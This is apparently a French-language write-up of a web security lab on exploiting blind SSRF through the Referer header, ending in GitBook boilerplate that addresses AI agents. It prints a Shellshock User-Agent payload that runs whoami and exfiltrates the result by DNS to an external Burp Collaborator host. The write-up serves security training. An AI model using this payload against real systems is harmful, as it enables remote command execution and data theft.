> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/ssrf/blind-ssrf-exploited-via-shellshock.md).

# SSRF aveugle exploité via Shellshock

### Exploitation d'une SSRF aveugle avec Shellshock

Ce site utilise un module d'analyse qui récupère l'URL fournie dans l'en-tête **Referer** à chaque fois qu'une page produit est consultée. / Pour résoudre le lab, vous devez détourner cette fonctionnalité afin d'effectuer une attaque aveugle **SSRF** vers un serveur interne situé dans la plage **192.168.0.X** sur le port **8080**. / Lors d'une attaque aveugle, un payload **Shellshock** doit être injecté pour exfiltrer le nom d'utilisateur du système.

#### Observation initiale

Lors de la consultation d'une page produit, le site envoie bien une requête basée sur l'en-tête **Referer**:

```
Referer: https://uki6j3wedmsljxlwoclacsdxtozhn7bw.oastify.com/
```

Cela confirme que l'application contacte automatiquement l'URL fournie dans cet en-tête.

<figure><img src="/files/a03219d1aa27c0d8a72ae5923bad60131dea82c2" alt=""><figcaption></figcaption></figure>

#### Exploitation via SSRF aveugle

L'objectif est de forcer l'application à contacter un hôte interne :

```
Referer: http://192.168.X:8080
```

Comme le service interne est vulnérable à **Shellshock** , un payload est injecté dans le **User-Agent** en-tête, qui sera interprété par le serveur cible.

Le payload exécute une commande pour exfiltrer le `whoami` résultat via une requête DNS envoyée à **Burp Collaborator**:

```bash
User-Agent: () { :; }; /usr/bin/nslookup $(whoami).isep8p4f4itsik7zvx76ataoyf47sygn.oastify.com
```

<figure><img src="/files/6759c1ce529ec9b4f971d4a8f45aeee7950d5a53" alt=""><figcaption></figcaption></figure>

#### Résultat

Une requête DNS apparaît du côté du Collaborator, contenant le nom d'utilisateur du système. / Dans ce cas, l'utilisateur renvoyé est :

<figure><img src="/files/039cba6986ac985416c98e4ffe57bd684ba11936" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/web/ssrf/blind-ssrf-exploited-via-shellshock.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
